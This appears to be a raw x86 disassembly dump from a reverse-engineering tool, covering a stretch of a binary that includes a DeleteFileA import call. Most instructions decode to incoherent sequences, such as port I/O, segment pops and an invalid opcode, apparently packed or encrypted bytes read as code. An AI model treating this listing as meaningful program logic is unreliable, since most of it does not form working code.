and bh, byte [edi + 0x5b]
xor dl, byte [esi]
jo 0x1008f921
mov al, byte [0x1599d068]
jecxz 0x1008f915
sbb bl, byte [ebx]
mov ebp, 0xd5063568
int1
div dword [edx + 0x35]
rcl dword [ebx], cl
mov esp, 0x2f68d91d
push ds
nop
daa
or eax, 0x161c415a
xchg esp, eax
inc ecx
and dword [ebp + 0x20], edi
fnstenv [eax + 0x3085b8ba]
mov bh, 0x99
cmp byte [eax + 0x5c122671], bh
push esi
je 0x1008f967
mov ecx, 0x150caeb9
test byte [edx - 0x2fb3cfa8], cl
pop ds
rcr byte [edi], 1
scasb al, byte es:[edi]
inc esi
add byte [edx + ebp*2 + 0x57], ah
sahf
xor dword [ebp + 0x60d58c0d], 0xb6f724f8
cli
push 0x381f2c48
insb byte es:[edi], dx
out dx, eax
mov ecx, 0xc866c348
push 0x282a2e33
cmp ebp, 0x1a4ef031
xchg edx, eax
pop ebx
mov bl, byte [edx - 0x70cbaacc]
pop edi
dec edx
pop es
and esp, dword [edi + ebp + 0x4fa66a5d]
cmp byte [ebx - 0x231d49f8], 0xba
xchg ebx, eax
mov dh, 0x8b
and bh, byte [ebx]
push 0x15
leave
mov dl, 0x1a
inc esi
test al, 0xb3
aam 0x41
pop ecx
neg dword [ecx]
shl dword [edx - 0x7a7a6c5], 0x97
pop ecx
pop eax
clc
xchg edi, eax
pop ecx
mov ebx, 0xea4de0b2
adc eax, 0x9b026857
ror eax, 0xfb
dec edi
inc edx
popal
or ch, byte [edi + ecx]
push cs
mov bl, 0x2b
xor dword [edi], 0xfe6a3f5c
pop ebp
test cl, dh
pop esp
and ecx, dword [edx + 0x5ccab51f]
mov ecx, esi
and al, 0xc7
sti
mov edi, 0x9c7dac9a
mov bl, 0x8a
jno 0x1008fa12
dec ebx
push edi
inc esi
les edi, [ebx + 0x77cc59ea]
push ebx
ja 0x1008faab
test dword [eax + 0x13], esi
cli
and al, 9
out 9, al
and dword [ecx], esi
jne 0x1008fa37
cwde
cmpsb byte [esi], byte es:[edi]
loopne 0x1008fa0d
pop edx
das
aam 0x54
sbb cl, byte [edx]
mov al, 0x30
xchg dword [eax - 0x48d47d2], ecx
xchg ebp, eax
and eax, 0x4239193a
sbb dh, byte [ebp - 0xde0d048]
xor al, 0x56
xchg esp, eax
add dword [ebx - 0x1d], esi
mov ebp, 0x1deafadb
cli
sbb dword [edi - 0x15b304d], ebx
pop es
loop 0x1008faf1
nop
and eax, 0x84980d1f
xor ah, ch
jl 0x1008fa56
sbb edi, esi
pop ds
sub esi, 0x63
push eax
and al, 1
sub al, 0xe5
imul eax, edx, 0xb662a7f0
stosb byte es:[edi], al
shl dl, cl
popfd
push 1
lea ecx, [ebp - 0x130]
call fcn.10002a9a
mov eax, esi
jmp 0x1008ee66
cmp dword [ebp - 0x11c], 0x10
jae 0x1008fada
lea eax, [ebp - 0x130]
push eax
pushfd
test byte [0x1008fb03], 0x1a
jne 0x1008fc04
adc byte [0x468c2fee], dl
adc eax, 0xc79efc36
cmp eax, 0x20b76803
test eax, 0x565f0e86
mov bl, 0x73
clc
xor edx, edx
sbb byte [eax], ch
sub ebx, ebx
mov ecx, 0x80c2c786
mov ebx, edi
mov ebp, dword [ebp + ebp*2 - 0x52]
pop esi
mov dword [0x6486d9ac], eax
mov gs, ebp
int 0x78
mov cl, 0x70
pop ds
mov eax, dword [0xdc3cc7e]
dec edx
push ss
adc eax, 0x2a33e00d
int3
cld
sahf
invalid
popfd
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor esi, esi
pushfd
test byte [0x1008fc52], 0xc
jne 0x1008fc53
salc
cmp ecx, dword [esi - 0x39]
or al, byte [eax + 0x258db508]
pushal
xchg byte [ebx], bh
mov ebx, esp
pushal
sub eax, 0xd078d2e3
in eax, 0xab
mov eax, 0x5349d8d4
mov edx, 0xb21d94bd
fdivr qword [ebx + eax*2 - 0x2e]
andps xmm1, xmmword [ebp - 0x3ffdb484]
push cs
lodsb al, byte [esi]
int3
popfd
jmp 0x1008f95a